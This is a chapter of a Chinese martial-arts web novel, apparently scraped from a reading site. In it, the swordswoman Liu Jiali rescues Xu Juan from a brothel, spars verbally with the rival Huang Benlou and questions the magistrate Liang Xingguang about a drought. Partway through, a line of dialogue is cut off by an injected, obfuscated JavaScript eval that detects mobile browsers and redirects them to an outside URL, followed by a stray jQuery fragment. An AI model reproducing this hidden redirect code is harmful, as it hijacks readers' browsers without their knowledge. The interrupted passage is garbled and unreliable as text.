默认冷灰
24号文字
方正启体

6. 雨泽青野·其二

作者:风拂苍林本书字数:K更新时间:
    “······”许娟见到青衣女子赶来,喜极而泣。


    “赵飞。龙鸣客栈的人,你也敢抢到妓院。是酒壮怂人胆,不怕死了?”


    柳葭丽的清叱亮若银铃。银铃一震,闲杂人等了然秩序,后退三步,屏了声。


    赵飞见柳葭丽面含愠色,连周围人都被震慑得后退了,一时间吓得声音颤抖,分辩道:


    “她她·····她不是已经你们龙鸣客栈的人了!她是我老婆!你们老大把她还给我了!”


    柳葭丽身后赶来两位容貌相似的蓝裙女子。她们扶起地上的许娟,以绢帕为她拭去脸上的鲜血和眼泪,抚上她的背轻声安慰。


    “你你你······你怎么敢不听你们老大的命令?许娟既然是我的老婆,自然任我处置。人我已经送到怡红楼了,卖身契也签了,他们的打手可不是吃素的!”


    老大?程柔心中思忖。龙鸣客栈方才遭遇屠门死了掌门,没听说新立了什么老大?更何况,助纣为虐,逼良为娼,怎么听也不是龙鸣客栈该有的风格。


    “是什么人寻我怡红楼的麻烦?”那小楼开了门,里面扭捏走出个半老徐娘。想必就是老鸨了。


    老鸨道:“签了我们的契,自然就是我们楼中人。白纸黑字,写得分明的么!就算拿去官府告,我们也是有理的呀。柳小姐,你怎好坏人诚信呢?”


    “你们签的什么契,可曾问过她么?”柳葭丽怒极反笑,“人是我龙鸣客栈的,你们带不走。若要钱,叫他还你吧!还不上砍手砍脚还是给你干苦工,我不管,你请便。”


    老鸨不愿意跟柳葭丽理论,用眼神示意身后几个持着棍棒的精壮打手。他们虽明白老鸨的意思,却没有一个人敢上前抢人。


    “这件事,他跟你们老大通过气的么!你在这里闹得这么大,拂了你们老大的面子,总归不好呀!你难不成真想我们闹到官府去?”老鸨斜着眼看柳葭丽,摆出一副半是埋怨半是商量的语气。


    “对对对。你们老大把她给我,说不过问!再说你已经把我的腿弄断了,总要给我个说法!青天白日里无故伤人,你也得赔我!”赵飞用手捂着那条伤腿,嚎叫道。


    “你们说黄奔楼?我不认他。”柳葭丽道,“至于你。自己欠了赌债拿旁人去还,天下没有这样便宜的事。你们要告,就去告。”


    柳葭丽扫了一眼赵飞,而后挥起剑鞘,朝他那条伤腿上用力一击。赵飞惨叫一声,似要晕过去。


    “这样才是断了,下次要懂得分辨。”柳葭丽道,“不要再来找麻烦,如果你还不上赌债还有命活的话。”


    围观者看见赵飞歪倒在地,捂着断腿痛得眼泪都流不出的样子,吓得倒吸冷气。


    “真狠······”


    “女罗刹啊。谢老手底下竟有这样的人······真想不到。”


    “不狠怎么办?良为娼本才是不对。她若不给个教训,怎么护得住手下人。”


    “算不得手下人。她不也得听新掌门的?新掌门肯定就是那个黄奔楼了。”


    人群中忽然闪开一条通道,一个身着浅金色交领长衫的年轻男子轻摇手中折扇,闲庭信步地被几个护卫拥趸着走上前来。


    “柳葭丽,你在这里生什么事?这种地方也是你一个清白姑娘家来的?”黄奔楼道。


    “奔楼兄好一副怜香惜玉的软心肠,怎么却允许龙鸣的人被卖到这种地方呢?”柳葭丽冷笑道。


    “呃······许娟本就是他妻子。我看他求得凄苦,便想全他们夫妻缘分,怎知竟发生这种事。”


    “许娟进龙鸣那日,还是你值的班。她来时是怎么脸上淤青手脚布着鞭痕,又是如何在龙鸣夜以继日做工攒钱还了赵飞彩礼和他两断,怎得奔楼兄竟全忘记了?”


    “这······”


    “那么我问你,掌门还在时,会允许我们龙鸣的人被卖去妓院吗?”柳葭丽用了怒音。


    “柳葭丽,掌门已去,你要节哀。群龙不可无首,我们很快要选出新掌门的。”黄奔楼道。


    “是,七日后龙鸣演武,自有定夺。若功夫不到家,再怎么打如意算盘也是徒劳。”


    黄奔楼受了讽刺,脸色变得很难看。


    远处有锣鼓敲击。众人回头去看,见到一辆由小吏护卫,六人共抬的红绸轿子,便纷纷让道。


    在护卫的簇拥下,一个身着暗紫锦葛蒲纹杭绸的白面男人下了轿。他的面容是与举止和气质并不相符的年轻。


    开路护卫重重敲一下手中锣鼓,道:“县令在此!”


    “他便是那个梁行光了。”程柔心道


    按照襄朝礼仪,平民在县衙以外的地方见到县令仅需回避,面对面者,可以行简单常礼以示尊敬。


    龙鸣毕竟是有头有脸的帮会。柳葭丽敛起怒容向梁行光一礼。黄奔楼则是收扇躬身,拜了几拜。


    “我巡视经过,看此地吵闹,便来看看。奔楼啊,你要全人家夫妻情谊是好事,确实,把一个成了家的女人整日里留在你们那里,使她和丈夫不得相见,有违人情。若是谁家夫妻一吵架,妻子便跑出去,这家不就乱了吗?”


    “十年修得同船渡,百年修得共枕眠。这夫妻情分不是讨债还债,哪有没有还了彩礼便两清一说?自古家主掌财,贤妻在外挣了钱,也要交给丈夫啊。”


    “但是将妻子卖去青楼,这也是伤天害理的事。除非是因这妻子的原因欠的债,无法偿还。为了换赌债便卖了妻子,这是下作龟公才做的事。”


    这县令管起闲事,意思便是各打五十打板,不解决任何实质问题。程柔听着便觉荒谬,心里觉得梁行光现身的目的没有这么简单。


    “龙鸣演武,我也听说了。好大阵仗呀!不愧是我们清风县的大帮会。”梁行光话风一转,脸上笑眯眯,似是称赞。


    “但若只以演武结果来定掌门,恐怕有失偏颇吧!就例如柳姑娘你武艺高强,是我们素日所知。但即使你赢下演武,也不可能行掌门之职。


    毕竟你一介清白女子,跟江湖上三教九流的人打起交道,也不方便吧!”


    “不方便?县令大人以为龙鸣客栈是什么地方?平日里做的是护卫、护镖的事,游走民间闹市、山野险滩、走私游船,打交道是穷凶极恶的罪犯。若妄想风光体面,端出公子做派便能对贼人迎来送往,不是太可笑了吗?


    奔楼兄如此本事,若执迷托大拿乔,我倒担心哪日被人砍伤,逃跑不方便。哪一日身首异处,我们找起尸身来更加不方便呢!”


    柳葭丽此言惊骇,在场众人皆是倒吸一口冷气。黄奔楼怒道:“柳葭丽,你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669339|188623||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    纵然对我心存不满,也不至于如此诅咒我!难道你心中竟没有一点同门的情谊,盼着我死吗?”


    “正是因为心中存着同门情谊,我才好心劝你!”柳葭丽道。


    “柳姑娘,你所言差矣!做掌门的,并不一定要冲锋阵前,亲自涉险,而是要如定海神针一般,稳定一整个帮会,为百姓所信赖。重要的是品行,是护佑一方百姓的真心。这一点上,奔楼足以胜任。”


    梁行光摇头晃脑,端出一副品评道理的模样。自然,处在他这个位置,总是有此资格的。


    “一个掌门要担负好他的职责,重要的不仅在于他自身如何,更在于要有得力干将的辅佐。


    柳姑娘,我们素知你武艺出众,又忠于龙鸣。从前护卫你们的谢老出生入死,皆是全身而退。此次也是如此,是你审时度势的成功。”


    梁行光语气嘲弄,咬重了“全身而退”四个字。此话既是威胁,又是讽刺。威胁柳葭丽若想保存自身,便顺从他们推举程奔楼为掌门;讽刺柳葭丽此次是早已预见危险,没有跟在谢枕云身旁,才保全了性命。


    柳葭丽在一个瞬间咬了牙。


    “相信若有你的辅佐,奔楼能做一个好掌门。其实掌门与否无关地位高低,更重要的是职责不同。勇武者冲锋陷阵,谋略者安定全局。各司其职,龙鸣的荣光,方得延续啊。”


    “奔楼,你要做掌门,更要有容人之量。柳姑娘性情爽利,武艺高强,是不可多得的人才。你要用好她,不可让英雄无用武之地!”


    “是!多谢县令大人教诲!奔楼年轻少谋,还需县令大人多多提点!”黄奔楼收扇行礼,对着梁行光俯下身去。


    梁行光微微颔首,对眼前一切非常满意。正当时,人群后涌来一群身着灰布破衣的百姓,拦住他的去路。


    “县令大人!我们是东茶村的庄稼人,走投无路前来求告!”为首下跪的老者尨眉皓发,声音洪亮,颇有乡儒气质。


    “伏旱酷热,半个月不下雨,地里的庄稼都将枯死!敢问县令大人为何不下令开放陂塘,引水入田?朝廷的赋税抬到了四成,我们去年已经欠下,若到了秋天粮食欠收,赋税再抬利息,我们这群平头百姓便没有活路了!”


    “是啊!我们没有活路了!求县令开陂塘解灾!”


    “求县令开陂塘解灾!”跪在地上的百姓大声呼着,一齐磕起头来。


    “各位乡亲们,我知道你们的难处。陂塘早已开放,然酷旱难解,陂塘也已被烤得干涸。我会奏疏朝廷,降低赋税,但愿朝廷能够恩准!”


    有些农民焦急,冲上前抓住了梁行光的衣摆,手上泥土蹭污了他那泛着光泽的锦葛杭绸。


    手下护卫要甩棍去打,被梁行光阻拦。


    为首的乡儒老者也被梁行光扶起,拜道:“传言此次伏旱乃是天罚,是三公主在西域起战,惊动亡灵之故。既如此,可否请县令大人设祭坛参拜亡灵,以解天怒?”


    “究竟是天降灾,还是人起祸?映州在上个月方才降了暴雨,陂塘中蓄的水,能够十数日便没吗?敢问县令大人是哪一日开的陂塘?各家农田可有察觉?”柳葭丽望向神情慷慨的梁行光,质问道。


    跪在地上的百姓们停止了叩拜,噤声望向梁行光。梁行光转过头看见柳葭丽,发出一声冷笑。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)